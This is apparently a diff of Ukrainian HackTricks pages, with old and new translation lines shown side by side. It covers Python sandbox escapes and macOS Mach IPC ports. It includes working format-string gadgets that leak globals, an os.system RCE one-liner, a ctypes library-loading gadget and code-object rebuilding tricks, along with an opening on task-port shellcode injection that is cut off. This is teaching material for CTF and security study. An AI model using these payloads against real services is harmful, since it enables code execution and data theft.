SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Рекурсивний пошук builtins, globals...
## Рекурсивний пошук Builtins, Globals...
> [!WARNING]
> Це просто **неймовірно**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-який інший**, просто використайте цей скрипт, щоб **рекурсивно знайти місця, де можна знайти цей об'єкт.**
> Це просто **чудово**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-який інший**, просто використайте цей скрипт, щоб **рекурсивно знайти місця, де доступний цей об'єкт.**
```python
import os, sys # Import these to find more gadgets
@ -665,13 +666,14 @@ main()
```
Ви можете перевірити вивід цього скрипта на цій сторінці:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python Format String
Якщо ви **send** **string** до python, який буде **formatted**, ви можете використати `{}` щоб отримати доступ до **python internal information.** Ви можете використати попередні приклади, щоб отримати доступ до globals або builtins, наприклад.
Якщо ви **надішлете** **рядок** в python, який буде **відформатований**, ви можете використовувати `{}` щоб отримати доступ до **внутрішньої інформації python.** Ви можете, наприклад, використовувати попередні приклади, щоб отримати доступ до globals або builtins.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,11 +693,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Зверніть увагу, що ви можете отримувати доступ до атрибутів звичним способом через **крапку**, наприклад `people_obj.__init__`, і до **елемента dict** через **квадратні дужки** без лапок `__globals__[CONFIG]`
Зверніть увагу, як ви можете **access attributes** звичайним способом через **dot** як `people_obj.__init__` та **dict element** через **parenthesis** без лапок `__globals__[CONFIG]`
Також зауважте, що ви можете використовувати `.__dict__` для переліку елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Також зауважте, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Деякі інші цікаві особливості форматних рядків — це можливість **виконання** **функцій** **`str`**, **`repr`** та **`ascii`** для вказаного об'єкта шляхом додавання **`!s`**, **`!r`**, **`!a`** відповідно:
Ще одна цікава особливість форматних рядків — можливість **executing** **functions** **`str`**, **`repr`** та **`ascii`** у вказаному об'єкті, додавши відповідно **`!s`**, **`!r`**, **`!a`**:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -714,7 +716,7 @@ return 'HAL 9000'
**Більше прикладів** щодо **format** **string** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Також перегляньте наступну сторінку для gadgets, які будуть r**ead sensitive information from Python internal objects**:
> Також перегляньте наступну сторінку щодо gadgets, які будуть r**ead sensitive information from Python internal objects**:
{{#ref}}
@ -741,18 +743,18 @@ str(x) # Out: clueless
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### From format to RCE loading libraries
### Від format до RCE: завантаження бібліотек
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Згідно з [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) можливо завантажувати довільні бібліотеки з диска, зловживаючи format string vulnerability в python.
Нагадаю, що щоразу, коли в python виконується дія, викликається відповідна функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** виконає **`{'a':'b'}.__getitem__('a')`**.
Нагадаю, що щораз, коли в python виконується дія, виконується деяка функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** виконає **`{'a':'b'}.__getitem__('a')`**.
Більше подібного є в розділі [**Python execution without calls**](#python-execution-without-calls).
Більше подібного дивіться в розділі [**Python execution without calls**](#python-execution-without-calls).
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
Однак можна використовувати `[]`. Отже, якщо якась поширена бібліотека python має метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, їх можна зловживати для отримання RCE.
A python format string vuln не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE як `'{0.system("/bin/sh")}'.format(os)`.\
Однак, можна використовувати `[]`. Тому, якщо якась поширена python бібліотека має метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, їх можна зловживати, щоб отримати RCE.
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Шукаючи такий gadget у python, розбір пропонує цей [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Де він знайшов ось цей [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,20 +776,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Цей гаджет дозволяє **завантажити бібліотеку з диска**. Тому потрібно якимось чином **записати або завантажити бібліотеку**, правильно скомпільовану для атакованого сервера.
Цей гаджет дозволяє **load a library from disk**. Тому потрібно якимось чином **write or upload the library to load**, правильно скомпільовану для атакованого сервера.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Завдання фактично експлуатує іншу вразливість на сервері, яка дозволяє створювати довільні файли на диску сервера.
Задача насправді зловживає іншою вразливістю на сервері, яка дозволяє створювати довільні файли на диску сервера.
## Розбір Python-об'єктів
## Розбір Python Objects
> [!TIP]
> Якщо ви хочете **вивчити** **python bytecode** детально, прочитайте цей **чудовий** допис на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Якщо ви хочете **вивчити** **python bytecode** детально, прочитайте цю **чудову** статтю на тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
У деяких CTFs вам можуть надати ім'я **кастомної функції, де знаходиться flag** і вам потрібно подивитися **внутрішню будову** цієї **функції**, щоб його витягти.
У деяких CTFs вам можуть надати назву **custom function where the flag** і потрібно побачити **internals** цієї **function**, щоб витягти flag.
Ось функція, яку потрібно дослідити:
Ось function для інспекції:
```python
def get_flag(some_input):
var1=1
@ -820,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Доступ до коду функції**
**`__code__`** та `func_code`: Ви можете **отримати доступ** до цього **атрибута** функції, щоб **отримати об'єкт коду** функції.
**`__code__`** and `func_code`: Ви можете **отримати доступ** до цього **атрибуту** функції, щоб **отримати об'єкт коду** функції.
```python
# In our current example
get_flag.__code__
@ -834,7 +836,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Отримання інформації про код
### Отримання інформації про Code
```python
# Another example
s = '''
@ -880,7 +882,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Дизасемблювання функції**
### **Дизасемблювати функцію**
```python
import dis
dis.dis(get_flag)
@ -908,7 +910,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Зауважте, що **якщо ви не можете імортувати `dis` в python sandbox** ви можете отримати **bytecode** функції (`get_flag.func_code.co_code`) і **disassemble** його локально. Ви не побачите вміст змінних, які завантажуються (`LOAD_CONST`), але можна їх вгадати, використовуючи (`get_flag.func_code.co_consts`), оскільки `LOAD_CONST` також вказує зсув змінної, яка завантажується.
Зауважте, що **якщо ви не можете імортувати `dis` в python sandbox** ви можете отримати **bytecode** функції (`get_flag.func_code.co_code`) і **disassemble** його локально. Ви не побачите вміст змінних, які завантажуються (`LOAD_CONST`), але можете вгадати їх із (`get_flag.func_code.co_consts`), тому що `LOAD_CONST` також показує зсув змінної, що завантажується.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,8 +934,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Компіляція Python
Тепер уявімо, що якимось чином ви можете **dump the information about a function that you cannot execute** але вам **потрібно** її **execute**.\
Як у наведеному прикладі, ви **can access the code object** цієї функції, але просто читаючи disassemble ви **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
Тепер уявімо, що якимось чином ви можете **dump інформацію про функцію, яку не можете виконати**, але вам **потрібно** її **виконати**.\
Як у наведеному прикладі, ви **можете отримати доступ до code object** цієї функції, але лише читаючи disassemble ви **не знаєте, як обчислити flag** (_уявіть більш складну функцію `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -946,9 +948,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Створення code object
### Створення об'єкта коду
По-перше, нам потрібно знати **how to create and execute a code object**, щоб ми могли створити його для виконання нашої функції leaked:
По-перше, нам потрібно знати **як створити та виконати об'єкт коду**, щоб ми могли створити один для виконання нашої функції leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +970,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Залежно від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у версії python, яку ви запускаєте, — виконати:
> Залежно від версії python **параметри** для `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у тій версії python, яку ви запускаєте — виконати:
>
> ```
> import types
@ -976,10 +978,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Відтворення leaked функції
### Відтворення leaked function
> [!WARNING]
> У наступному прикладі ми візьмемо всі дані, необхідні для відтворення функції безпосередньо з code object функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, — це те, що **вам потрібно буде leak**.
> У наведеному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з function code object. У **реальному прикладі** всі **значення**, потрібні для виконання функції **`code_type`**, — це те, що вам потрібно leak.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -992,10 +994,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Обхід захистів
У попередніх прикладах на початку цього посту видно, **як виконати будь-який python-код, використовуючи функцію `compile`**. Це цікаво, бо можна **виконувати цілі скрипти** з циклами та всім іншим в **одному рядку** (і те саме можна зробити з допомогою **`exec`**).\
Проте іноді може бути корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його на **CTF machine** (наприклад, якщо у CTF немає функції `compiled`).
У попередніх прикладах на початку цього допису ви можете побачити **як виконати будь-який python код за допомогою функції `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами та всім іншим в **one liner** (і ми могли б зробити те саме, використовуючи **`exec`**).\
У будь-якому разі, іноді може бути корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його в **CTF machine** (наприклад тому, що у нас немає функції `compiled` у CTF).
Наприклад, скомпілюємо та вручну виконаємо функцію, яка читає _./poc.py_:
Наприклад, давайте вручну скомпілюємо та виконаємо функцію, яка читає _./poc.py_:
```python
#Locally
def read():
@ -1022,7 +1024,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Якщо ви не маєте доступу до `eval` або `exec`, ви можете створити **повноцінну функцію**, але її безпосередній виклик зазвичай зазнає невдачі з повідомленням: онструктор недоступний в обмеженому режимі_. Тому вам потрібна **функція поза обмеженим середовищем, яка викликатиме цю функцію.**
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **коректну функцію**, але викликати її безпосередньо зазвичай призведе до помилки: онструктор недоступний в обмеженому режимі_. Отже вам потрібна **функція поза обмеженим середовищем, яка викличе цю функцію.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1030,9 +1032,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Декомпіляція скомпільованого Python
## Декомпілювання скомпільованого Python
За допомогою інструментів на кшталт [**https://www.decompiler.com/**](https://www.decompiler.com) можна **декомпілювати** поданий скомпільований python-код.
Використовуючи інструменти, такі як [**https://www.decompiler.com/**](https://www.decompiler.com), можна **декомпілювати** даний скомпільований код Python.
**Перегляньте цей підручник**:
@ -1045,8 +1047,8 @@ f(42)
### Assert
Python, запущений з оптимізаціями через параметр `-O`, видалить asset statements та будь-який код, умовний від значення **debug**.\
Тому перевірки на кшталт
Якщо Python запускається з оптимізаціями з параметром `-O`, він видалить asset statements і будь-який код, умовний від значення **debug**.\
Отже, перевірки на кшталт
```python
def check_permission(super_user):
try:
@ -1057,7 +1059,7 @@ print(f"\nNot a Super User!!!\n")
```
буде обійдено
## References
## Посилання
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)

View File

@ -1,836 +0,0 @@
# macOS IPC - Міжпроцесорна комунікація
{{#include ../../../../banners/hacktricks-training.md}}
## Mach повідомлення через порти
### Основна інформація
Mach використовує **задачі** як **найменшу одиницю** для обміну ресурсами, і кожна задача може містити **кілька потоків**. Ці **задачі та потоки відображаються 1:1 на процеси та потоки POSIX**.
Комунікація між задачами відбувається через Mach Міжпроцесорну Комунікацію (IPC), використовуючи односторонні канали зв'язку. **Повідомлення передаються між портами**, які діють як **черги повідомлень**, що управляються ядром.
Кожен процес має **таблицю IPC**, в якій можна знайти **mach порти процесу**. Ім'я mach порту насправді є числом (вказівником на об'єкт ядра).
Процес також може надіслати ім'я порту з певними правами **іншій задачі**, і ядро зробить цей запис у **таблиці IPC іншої задачі** видимим.
### Права на порти
Права на порти, які визначають, які операції може виконувати задача, є ключовими для цієї комунікації. Можливі **права на порти** ([визначення звідси](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Право на отримання**, яке дозволяє отримувати повідомлення, надіслані на порт. Mach порти є MPSC (багато-виробник, один-споживач) чергами, що означає, що може бути лише **одне право на отримання для кожного порту** в усій системі (на відміну від труб, де кілька процесів можуть утримувати дескриптори файлів для читання з однієї труби).
- **Задача з правом на отримання** може отримувати повідомлення та **створювати права на надсилання**, що дозволяє їй надсилати повідомлення. Спочатку лише **власна задача має право на отримання над своїм портом**.
- **Право на надсилання**, яке дозволяє надсилати повідомлення на порт.
- Право на надсилання може бути **клоновано**, тому задача, що володіє правом на надсилання, може клонувати це право та **надати його третій задачі**.
- **Право на одноразове надсилання**, яке дозволяє надіслати одне повідомлення на порт і потім зникає.
- **Право на набір портів**, яке позначає абір портів_, а не один порт. Витягування повідомлення з набору портів витягує повідомлення з одного з портів, які він містить. Набори портів можуть використовуватися для прослуховування кількох портів одночасно, подібно до `select`/`poll`/`epoll`/`kqueue` в Unix.
- **Мертве ім'я**, яке не є фактичним правом на порт, а лише заповнювачем. Коли порт знищується, всі існуючі права на порт перетворюються на мертві імена.
**Задачі можуть передавати права на надсилання іншим**, дозволяючи їм надсилати повідомлення назад. **Права на надсилання також можуть бути клоновані, тому задача може дублювати і надавати право третій задачі**. Це, в поєднанні з проміжним процесом, відомим як **bootstrap server**, дозволяє ефективну комунікацію між задачами.
### Файлові порти
Файлові порти дозволяють інкапсулювати дескриптори файлів у Mach портах (використовуючи права на порти Mach). Можна створити `fileport` з даного FD, використовуючи `fileport_makeport`, і створити FD з fileport, використовуючи `fileport_makefd`.
### Встановлення комунікації
#### Кроки:
Як згадувалося, для встановлення каналу комунікації залучено **bootstrap server** (**launchd** в mac).
1. Задача **A** ініціює **новий порт**, отримуючи **право на отримання** в процесі.
2. Задача **A**, будучи власником права на отримання, **генерує право на надсилання для порту**.
3. Задача **A** встановлює **з'єднання** з **bootstrap server**, надаючи **ім'я служби порту** та **право на надсилання** через процедуру, відому як реєстрація bootstrap.
4. Задача **B** взаємодіє з **bootstrap server**, щоб виконати bootstrap **пошук за ім'ям служби**. Якщо успішно, **сервер дублює право на надсилання**, отримане від задачі A, і **передає його задачі B**.
5. Отримавши право на надсилання, задача **B** може **формулювати** **повідомлення** і надсилати його **завданню A**.
6. Для двосторонньої комунікації зазвичай задача **B** генерує новий порт з **правом на отримання** та **правом на надсилання**, і надає **право на надсилання задачі A**, щоб вона могла надсилати повідомлення задачі B (двостороння комунікація).
Bootstrap server **не може аутентифікувати** ім'я служби, яке заявляє задача. Це означає, що **задача** може потенційно **вдаватись під будь-яку системну задачу**, наприклад, неправильно **заявляючи ім'я служби авторизації** і потім схвалюючи кожен запит.
Тоді Apple зберігає **імена служб, наданих системою**, у захищених конфігураційних файлах, розташованих у **каталогах, захищених SIP**: `/System/Library/LaunchDaemons` та `/System/Library/LaunchAgents`. Поряд з кожним ім'ям служби також зберігається **асоційований бінарний файл**. Bootstrap server створить і утримає **право на отримання для кожного з цих імен служб**.
Для цих попередньо визначених служб **процес пошуку трохи відрізняється**. Коли ім'я служби шукається, launchd динамічно запускає службу. Новий робочий процес виглядає так:
- Задача **B** ініціює bootstrap **пошук** за ім'ям служби.
- **launchd** перевіряє, чи працює задача, і якщо ні, **запускає** її.
- Задача **A** (служба) виконує **реєстрацію bootstrap**. Тут **bootstrap** сервер створює право на надсилання, утримує його і **передає право на отримання задачі A**.
- launchd дублює **право на надсилання і надсилає його задачі B**.
- Задача **B** генерує новий порт з **правом на отримання** та **правом на надсилання**, і надає **право на надсилання задачі A** (службі), щоб вона могла надсилати повідомлення задачі B (двостороння комунікація).
Однак цей процес застосовується лише до попередньо визначених системних задач. Несистемні задачі все ще працюють, як описано спочатку, що може потенційно дозволити вдавання.
### Mach повідомлення
[Знайдіть більше інформації тут](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Функція `mach_msg`, по суті, є системним викликом, що використовується для надсилання та отримання Mach повідомлень. Функція вимагає, щоб повідомлення, яке потрібно надіслати, було першим аргументом. Це повідомлення повинно починатися зі структури `mach_msg_header_t`, за якою слідує фактичний вміст повідомлення. Структура визначається наступним чином:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Процеси, що мають _**право отримання**_, можуть отримувати повідомлення на Mach порту. Навпаки, **відправникам** надається _**право відправлення**_ або _**право відправлення один раз**_. Право відправлення один раз призначене виключно для відправлення одного повідомлення, після чого воно стає недійсним.
Щоб досягти простого **двостороннього зв'язку**, процес може вказати **mach порт** у заголовку **повідомлення mach**, який називається _порт відповіді_ (**`msgh_local_port`**), куди **отримувач** повідомлення може **надіслати відповідь** на це повідомлення. Бітові прапорці в **`msgh_bits`** можуть бути використані для **вказівки**, що **право відправлення один раз** повинно бути отримано та передано для цього порту (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Зверніть увагу, що цей вид двостороннього зв'язку використовується в XPC повідомленнях, які очікують відповідь (`xpc_connection_send_message_with_reply` та `xpc_connection_send_message_with_reply_sync`). Але **зазвичай створюються різні порти**, як було пояснено раніше, для створення двостороннього зв'язку.
Інші поля заголовка повідомлення:
- `msgh_size`: розмір всього пакета.
- `msgh_remote_port`: порт, на який надсилається це повідомлення.
- `msgh_voucher_port`: [mach ваучери](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: ID цього повідомлення, який інтерпретується отримувачем.
> [!CAUTION]
> Зверніть увагу, що **mach повідомлення надсилаються через \_mach порт**\_, який є **каналом зв'язку з одним отримувачем** та **багатьма відправниками**, вбудованим у ядро mach. **Багато процесів** можуть **надсилати повідомлення** на mach порт, але в будь-який момент лише **один процес може читати** з нього.
### Перерахувати порти
```bash
lsmp -p <pid>
```
Ви можете встановити цей інструмент на iOS, завантаживши його з [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Приклад коду
Зверніть увагу, як **відправник** **виділяє** порт, створює **право на відправку** для імені `org.darlinghq.example` і надсилає його на **bootstrap server**, в той час як відправник запитує **право на відправку** цього імені і використовує його для **надсилання повідомлення**.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Привілейовані порти
- **Хост-порт**: Якщо процес має привілей Send над цим портом, він може отримати інформацію про систему (наприклад, `host_processor_info`).
- **Хост-привілейований порт**: Процес з правом Send над цим портом може виконувати привілейовані дії, такі як завантаження розширення ядра. Процес повинен бути root, щоб отримати цей дозвіл.
- Більше того, для виклику API **`kext_request`** потрібно мати інші права **`com.apple.private.kext*`**, які надаються лише бінарним файлам Apple.
- **Порт імені завдання:** Непривілейована версія _порт завдання_. Він посилається на завдання, але не дозволяє його контролювати. Єдине, що, здається, доступно через нього, це `task_info()`.
- **Порт завдання** (також відомий як порт ядра): З правом Send над цим портом можливо контролювати завдання (читати/писати пам'ять, створювати потоки...).
- Викличте `mach_task_self()`, щоб отримати ім'я для цього порту для виклику завдання. Цей порт лише **успадковується** через **`exec()`**; нове завдання, створене за допомогою `fork()`, отримує новий порт завдання (як особливий випадок, завдання також отримує новий порт завдання після `exec()` у бінарному файлі з suid). Єдиний спосіб створити завдання та отримати його порт - це виконати ["танець обміну портами"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) під час виконання `fork()`.
- Це обмеження для доступу до порту (з `macos_task_policy` з бінарного файлу `AppleMobileFileIntegrity`):
- Якщо додаток має **`com.apple.security.get-task-allow` entitlement**, процеси з **того ж користувача можуть отримати доступ до порту завдання** (зазвичай додається Xcode для налагодження). Процес **нотаризації** не дозволить цього для виробничих випусків.
- Додатки з правом **`com.apple.system-task-ports`** можуть отримати **порт завдання для будь-якого** процесу, за винятком ядра. У старіших версіях це називалося **`task_for_pid-allow`**. Це надається лише додаткам Apple.
- **Root може отримати доступ до портів завдань** додатків, які **не** скомпільовані з **захищеним** середовищем виконання (і не від Apple).
### Впровадження Shellcode в потік через порт завдання
Ви можете отримати shellcode з:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
